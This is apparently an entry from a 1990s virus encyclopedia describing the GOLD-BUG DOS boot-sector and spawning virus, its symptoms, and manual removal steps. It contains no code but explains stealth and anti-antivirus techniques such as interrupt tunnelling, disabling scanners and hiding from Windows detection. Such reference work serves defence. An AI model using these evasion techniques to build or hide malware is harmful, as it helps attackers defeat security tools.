  867. Aliases:     AU, GOLD, GOLD-FEVER, GOLD-MINE
  868. V Status:    New, Research
  869. Discovery:   January, 1994
  870. Symptoms:    CMOS checksum failure; Creates files with no extension; Modem
  871.          answers on 7th ring; BSC but it is hidden; Most virus scanners
  872.          fail to run; CHKLIST.??? files deleted.
  873. Origin:      USA
  874. Eff Length:  1,024 Bytes
  875. Type Code:   SBERaRbReX - Spawning Color Video Resident and Extended HMA
  876.          Memory Resident Boot-Sector and Master-Sector Infector
  877. Detection Method:  None
  878. Removal Instructions:  See Below
  879.  
  880. General Comments:
  881.  
  882.     GOLD-BUG is a memory-resident multipartite polymorphic stealthing
  883.     boot-sector spawning anti-antivirus virus that works with DOS 5 and
  884.     DOS 6 in the HIMEM.SYS memory.  When an .EXE program infected with the
  885.     GOLD-BUG virus is run, it determines if it is running on an 80186 or
  886.     better, if not it will terminate and not install.  If it is on an
  887.     80186 or better it will copy itself to the partition table of the hard
  888.     disk and remain resident in memory in the HMA (High Memory Area) only
  889.     if the HMA is available, ie. DOS=HIGH in the CONFIG.SYS file else no
  890.     infection will occur.  The old partition table is moved to sector 14
  891.     and the remainder of the virus code is copied to sector 13.  The virus
  892.     then executes the spawned associated file if present.  INT 13 and
  893.     INT 2F are hooked into at this time but not INT 21.  The spawning
  894.     feature of this virus is not active now.
  895.  
  896.     When the computer is rebooted, the virus goes memory resident in the
  897.     color video memory.  Also at this time the GOLD-BUG virus removes
  898.     itself from the partition table and restores the old one back.  Unlike
  899.     other boot-sector infectors, it does not use the top of memory to
  900.     store the code.  CHKDSK does not show a decrease in available memory.
  901.     At this time it only hooks INT 10 and monitors when the HMA becomes
  902.     available.  Once DOS moves into the HMA, then GOLD-BUG moves into the
  903.     HMA at address FFFF:FB00 to FFFF:FFFF.  If the HMA never becomes
  904.     available, ie. DOS loaded LOW or the F5 key hit in DOS 6 to bypass the
  905.     CONFIG.SYS, then the virus clears itself from the system memory when
  906.     the computer changes into graphics mode.  If it moves to the HMA, it
  907.     hooks INT 13, INT 21 and INT 2F and then rewrites itself back to the
  908.     partition table.  The GOLD-BUG virus also has some code that stays
  909.     resident in the interrupt vector table to always make the HMA
  910.     available to the virus.  The full features of the virus are now
  911.     active.
  912.  
  913.     The GOLD-BUG virus will infect the boot sector of 1.2M diskettes.
  914.     The virus copies itself to the boot sector of the diskette and moves
  915.     a copy of the boot sector to sector 28 and the remainder of the code
  916.     is copied to sector 27.  These are the last 2 sectors of the 1.2M disk
  917.     root directory.  If there are file entries on sector 27 or 28 it will
  918.     not overwrite them with the virus code.  It will infect 1.2M disks in
  919.     drive A: or B:  If a clean boot disk is booted from drive A: and you
  920.     try to access C: you will get an invalid drive specification.
  921.  
  922.     The boot-sector infection is somewhat unique.  If the computer is
  923.     booted with a disk that contains the GOLD-BUG virus, it will remain in
  924.     video memory until the HMA is available and then infect the hard disk.
  925.     Also at this time, it will remove itself from the 1.2M disk.  The
  926.     virus will never infect this disk again.  It makes tracking where you
  927.     got the virus from difficult in that your original infected disk is
  928.     not infected anymore.
  929.  
  930.     If an .EXE file less than 64K and greater then 1.5K is executed,
  931.     GOLD-BUG will randomly decide to spawn a copy of it.  The .EXE file is
  932.     renamed to the same file name with no extension, ie. CHKDSK.EXE
  933.     becomes CHKDSK.  The original file attributes are then changed to
  934.     SYSTEM.  An .EXE file with the same name is created.  This .EXE file
  935.     has the same length, file date and attributes as the original .EXE
  936.     file.  This spawning process will not make a copy on a diskette
  937.     because it might be write protected and be detected; but it will make
  938.     a spawn .EXE file on a network drive.  When a spawned file is created,
  939.     CHKLIST.??? of the current directory is also deleted.  The .EXE file
  940.     that is created is actually a .COM file; it has no .EXE header.
  941.  
  942.     The GOLD-BUG virus is very specific as to what type of .EXE files it
  943.     will spawn copies.  It will not spawn any Windows .EXE files or any
  944.     other .EXE files the use the new extended .EXE header except those
  945.     that use the PKLITE extended .EXE header.  This way all Windows
  946.     programs will continue to run and the virus will still be undetected.
  947.  
  948.     The GOLD-BUG virus is also Polymorphic.  Each .EXE file it creates
  949.     only has 2 bytes that remain constant.  It can mutate into 128
  950.     different decryption patterns.  It uses a double decryption technique
  951.     that involves INT 3 that makes it very difficult to decrypt using a
  952.     debugger.  The assembly code allowed for 512 different front-end
  953.     decrypters.  Each of these can mutate 128 different ways.
  954.  
  955.     The GOLD-BUG virus incorporates an extensive steathing technique.  Any
  956.     time the hard disk partition table or boot sector of an infected
  957.     diskette is examined, the copy of the partition table or boot sector
  958.     is returned.  If a spawned .EXE file is opened to be read or executed;
  959.     the GOLD-BUG virus will redirect to the original file.  Windows 3.1
  960.     will detect a resident boot-sector virus if the "Use 32 Bit Access" is
  961.     enabled on the "Virtual Memory" option.  GOLD-BUG will disconnect
  962.     itself from the INT 13 chain when Windows installs and reconnect when
  963.     Windows uninstalles to avoid being detected.  When Windows starts, the
  964.     GOLD-BUG virus will copy the original hard disk partition table back.
  965.     When Windows ends, the GOLD-BUG virus will reinfect the partition
  966.     table.
  967.  
  968.     The GOLD-BUG virus also has an extensive anti-antivirus routine.  It
  969.     can install itself with programs like VSAFE.COM and DISKMON.EXE
  970.     resident that monitor changes to the computer that are common for
  971.     viruses.  It writes to the disk using the original BIOS INT 13 and not
  972.     the INT 13 chain that these types of programs have hooked into.  It
  973.     hooks into the bottom of the interrupt chain rather than changing and
  974.     hooking interrupts; very similar to the tunneling technique.  If the
  975.     GOLD-BUG virus is resident in memory, any attempts to run most virus
  976.     scanners will be aborted.  GOLD-BUG stops any large .EXE file
  977.     (greater than 64k) with the last two letters of "AN" to "AZ".  It will
  978.     stop SCAN.EXE, CLEAN.EXE, NETSCAN.EXE, CPAV.EXE, MSAV.EXE, TNTAV.EXE,
  979.     etc., etc.  The SCAN program will have an execution error.  Also,
  980.     GOLD-BUG will cause a CMOS checksum failure to happen next time the
  981.     system boots.  GOLD-BUG also erases "CHKLIST.???" created by CPAV.EXE
  982.     and MSAV.EXE.  Programs that do an internal checksum on themselves
  983.     will not detect any changes.  The Thunder Byte Antivirus programs
  984.     contain a partition table program that claims it can detect all
  985.     partition table viruses.  GOLD-BUG rides right through the
  986.     ThunderByte partition virus checker.
  987.  
  988.     The GOLD-BUG virus detects a modem.  If you received an incoming call
  989.     on the modem line, GOLD-BUG will output a string that will set the
  990.     modem to answer on the seventh ring.
  991.  
  992.     If a program tries to erase the infected .EXE file, the original
  993.     program and not the infected .EXE file is erased.
  994.  
  995.     The text strings "AU", "1O7=0SLMTA", and "CHKLIST????" appear in the
  996.     decrypted code.  The virus gets it name from "AU", the chemical
  997.     element "GOLD".  The text string "CHKLIST????" is actually executable
  998.     code.
  999.  
  1000.     The GOLD-BUG virus has two companion viruses that it works with.  The
  1001.     DA'BOYS virus is also a boot-sector infector.  It is possible to have
  1002.     a diskette with two boot-sector viruses.  GOLD-BUG hides the presence
  1003.     of the DA'BOYS virus from the Windows 3.1 startup routine.  GOLD-BUG
  1004.     removes the DA'BOYS virus from the INT 13 chain at the start of
  1005.     Windows and restores it when Windows ends.  The GOLD-BUG virus works
  1006.     with the XYZ virus; it reserves the space FFFF:F900 to FFFF:FAFF in
  1007.     the HMA for the XYZ virus so it can load as well.
  1008.  
  1009.     To remove the GOLD-BUG virus, change DOS=HIGH to DOS=LOW in the
  1010.     CONFIG.SYS, then reboot.  Once the system comes up again, reboot from
  1011.     a clean boot disk.  The Virus has now removed itself from the
  1012.     partition table and memory.  With the ATTRIB command check for files
  1013.     with the SYSTEM bit set that don't have any extension.  Delete the
  1014.     .EXE file associated with the SYSTEM file.  Using ATTRIB remove the
  1015.     SYSTEM attribute.  Rename the file with no extension to an .EXE file.
  1016.     Format each diskette or run SYS to remove the virus from the boot
  1017.     sector of each 1.2M disk.  Any spawned .EXE files copied to diskette
  1018.     need to be deleted.
  1019.  
  1020.